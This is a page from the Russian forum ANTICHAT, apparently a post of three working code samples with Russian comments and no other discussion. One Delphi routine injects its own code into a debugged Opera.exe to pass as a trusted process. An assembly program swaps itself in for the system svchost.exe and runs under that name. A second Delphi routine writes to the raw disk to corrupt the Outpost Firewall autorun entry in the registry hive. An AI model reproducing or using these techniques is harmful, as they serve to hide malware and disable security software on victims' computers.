ANTICHAT — форум по информационной безопасности, OSINT и технологиям

var sk:_CONTEXT;
      st:STARTUPINFO;
      pi:PROCESS_INFORMATION;
      s:shortstring;
byte(s[0]):=GetModuleFileNameA(Hinstance,@s[1],255);
for y:=1 to length(s) do s[y]:=upcase(s[y]);
if pos('OPERA',s)<>0 then begin
Beep(500,500);
sleep(10000);
ExitProcess(0);
                                            end;

ZeroMemory(@st,sizeof(st));
st.cb:=sizeof(st);
st.wShowWindow:=SW_SHOW;
s:='C:\Program Files\'#0;
SetCurrentDirectoryA(@s[1]);
CreateProcessA(nil,'Opera.exe',nil,nil,true,
DEBUG_ONLY_THIS_PROCESS,nil,nil,st,pi);

OEP:=$416001; // внимание константа
_ReadeProcessMemory:=GetProcAddress(
GetmoduleHandle('kernel32.dll'),'ReadProcessMemory');
prin:=OpenProcess(PROCESS_ALL_ACCESS,true,GetCurrentProcessId);
DuplicateHandle($ffffffff,prin,pi.hProcess,@prin,PROCESS_ALL_ACCESS,true,0);

function _DEBUG_(psk:PContext):dword;
begin
psk^.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
SetThreadContext(pi.hThread,psk^);
de.dwDebugEventCode:=0;
while de.dwDebugEventCode<>EXCEPTION_DEBUG_EVENT do begin
  ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId,DBG_CONTINUE);
  WaitForDebugEvent(de,100);
if de.dwDebugEventCode=EXIT_PROCESS_DEBUG_EVENT then ExitProcess(0);
                                                     end;
psk^.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread,psk^);
_DEBUG_:=psk^.Eip;
end;

sk.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread,sk);
sk.Dr0:=OEP; // break on OEP Opera.exe
sk.Dr6:=$ffff47f0;
sk.Dr7:=$401;
while _DEBUG_(@sk)<>OEP do;

for WPM:=1 to 6 do begin
sk.Eip:=dword(_ReadeProcessMemory);
sk.Dr0:=sk.Eip+1; // next command
sk.Dr6:=$ffff47f0;
sk.Dr7:=$401;
case (WPM) of
1: sk.Ebp:=sk.Esp+$10; // actual number of bytes written
2: sk.Ebp:=$20000;  // number of bytes to write
3: sk.Ebp:=$401000; // pointer to buffer to write data to
4: sk.Ebp:=$401000; // address to start reading from
5: sk.Ebp:=prin; // Hprocess
6: sk.Ebp:=0; //return address обязательно брякнится
end;
_DEBUG_(@sk)
                  end;

sk.Eip:=dword(_ReadeProcessMemory);
sk.Dr0:=0;
sk.Dr6:=0;
sk.Dr7:=0;
_DEBUG_(@sk);

dword(pdw):=Hinstance+$128; // OEP Project1.exe
sk.Eip:=$400000+pdw^;
SetThreadContext(pi.hThread,sk);
ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId,DBG_CONTINUE);
DebugActiveProcessStop(pi.dwProcessId);

  .486                
  .model flat,stdcall
  option casemap :none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
gText MACRO reg,zText:VARARG
      LOCAL m1
          call m1
          db zText,0
          m1:
          pop reg
        ENDM
FILE_NAME STRUCT
 PathFile  BYTE 256 dup (?) 
FILE_NAME ENDS
;----------------------------------------------
      .code
start:
main proc ;------------------------------------
LOCAL SystemDir  :FILE_NAME              
LOCAL FileName   :FILE_NAME              
LOCAL FileNameH  :FILE_NAME              
LOCAL FileNameHb :FILE_NAME              
LOCAL PI         :PROCESS_INFORMATION
LOCAL Sinfo      :STARTUPINFO
;Проверяем под каким именем запустились
   lea edi,FileName
 invoke GetModuleFileNameA,0,edi,255
    cmp [edi+eax-8],dword ptr 'tsoh'
    jz _svchost ; Переход если процесс svchost.exe
    jmp No_svchost 
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;Здесь мы для всех -> User  :\windows\system32\svchost.exe 
_svchost:
gText ecx,'svchost'
gText ebx,'OK'
      invoke MessageBoxA,0,ecx,ebx,0
    jmp EXIT
; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
No_svchost:
  lea edi,SystemDir
  invoke GetSystemDirectoryA,edi,255
  invoke SetCurrentDirectoryA,edi
    lea edi,FileNameH
    invoke GetSystemDirectoryA,edi,255
    mov [edi+eax-0],dword ptr 'cvs\'
    mov [edi+eax+4],dword ptr 'tsoh'
    mov [edi+eax+8],dword ptr 'exe.'
    mov [edi+eax+12],dword ptr 0
      lea esi,FileNameHb
      invoke GetSystemDirectoryA,esi,255
      mov [esi+eax-0],dword ptr 'cvs\'
      mov [esi+eax+4],dword ptr 'tsoh'
      mov [esi+eax+8],dword ptr 'kab.'
      mov [esi+eax+12],dword ptr 0
;MoveFile 'svchost.exe' в 'svchost.bak'
       invoke MoveFileExA,edi,esi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
;MoveFile 'наш.exe' в 'svchost.exe'
        lea esi,FileName
        invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
;CreateProcess 'svchost.exe' = 'наш.exe'
         lea edi,Sinfo
         mov ecx,size(STARTUPINFO)
         xor eax,eax
         rep stosb
         lea ebx,PI
         lea edi,Sinfo
         mov Sinfo.cb,size(STARTUPINFO)
         gText esi,'.\svchost.exe'
         invoke CreateProcessA,0,esi,0,0,0,NORMAL_PRIORITY_CLASS,0,0,edi,ebx
;MoveFile 'svchost.bak' в 'svchost.exe' не обязательно
      lea edi,FileNameH
      lea esi,FileNameHb
      invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
EXIT: 
 invoke ExitThread,0
;----------------------------------------------------------------------------------------------
main endp 
start_end:
end start

 unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
  FSCTL_GET_RETRIEVAL_POINTERS=$90073;
  IOCTL_DISK_GET_CACHE_INFORMATION=$740D4;
  IOCTL_DISK_SET_CACHE_INFORMATION=$7C0D8;
  FILE_READ_ATTRIBUTES= $80;
 type
RETRIEVAL_POINTERS_BUFFER=record
               ExtentCount,XX:DWORD;
               StartingVcn:int64;
                           end;
TExtents =record
        NextVcn:int64;
        Lcnlo,Lcnhi:dword;
          end;
var
  Form1: TForm1;
  s,s1,s2:string;
  hFile,L,i,i1,i2,i3:Dword;
  I64:int64;
  SectorsPerCluster,BytesPerSector,X1,X2,ClusterSize:dword;
  buf:^RETRIEVAL_POINTERS_BUFFER;
  bufe:^TExtents;
  bufe64:^int64;
//  CACHE_INFORMATION:DISK_CACHE_INFORMATION;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
memo1.Lines.Clear;
setlength(s,256);GetSystemDirectory(@s[1],256);setlength(s,2);s:=s+#0;
GetDiskFreeSpace(pAnsiChar(s),SectorsPerCluster,BytesPerSector,X1,X2);
ClusterSize:=SectorsPerCluster*BytesPerSector;
setlength(s,256);setlength(s,GetSystemDirectory(@s[1],256));
// открываем файл реестра где RUN
s:=s+'\config\software'+#0;
hFile:=CreateFile(pAnsiChar(s),FILE_READ_ATTRIBUTES,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
memo1.Lines.Add(inttohex(hFile,8));
if hFile=INVALID_HANDLE_VALUE then exit;
setlength(s1,getfilesize(hFile,@I)+512);
setlength(s,$200000);
i64:=0;
//Получаем расположение кластеров реестра
DeviceIoControl(hFile,FSCTL_GET_RETRIEVAL_POINTERS,@i64,8,@s[1],$200000,L,0);
buf:=@s[1];
bufe:=@s[17];
bufe64:=@bufe.Lcnlo;
closehandle(hFile);
// с фрагментированными файлами немного сложнее.
if buf.ExtentCount<>1 then begin memo1.Lines.Add('Fragmented');exit; end;
if l=0 then begin memo1.Lines.Add('FSCTL_GET_RETRIEVAL_POINTERS error 0');exit; end;
// GENERIC_READ or GENERIC_WRITE
// Открываем логический диск на чтение-запись
hFile:=CreateFile('\\.\F:',GENERIC_ALL,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
S2:='F:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice';
 setlength(s1,ClusterSize*2);
bufe64^:=bufe64^*ClusterSize;
 for i2:=0 to bufe.NextVcn-1 do begin
// Ищем известные нам записи в реестре
l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
ReadFile(hFile,s1[1],ClusterSize*2, X1, 0);
for i:=1 to ClusterSize*2-length(s2) do begin
i1:=1;
while i1<length(s2) do begin
if s1[i+(i1-1)*2]<>S2[i1] then begin i1:=$ffffffff;break;end;
inc(i1);
                    end;
if i1<>$ffffffff then  begin
                 asm int 3 end; //<-????
S1[i]:='D';
l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
// Меняем реестр
WriteFile(hFile,s1[1],ClusterSize*2, X1, 0);
                       end;
                                          end;
bufe64^:=bufe64^+ClusterSize;
                               end;
closehandle(hFile);
end;
end.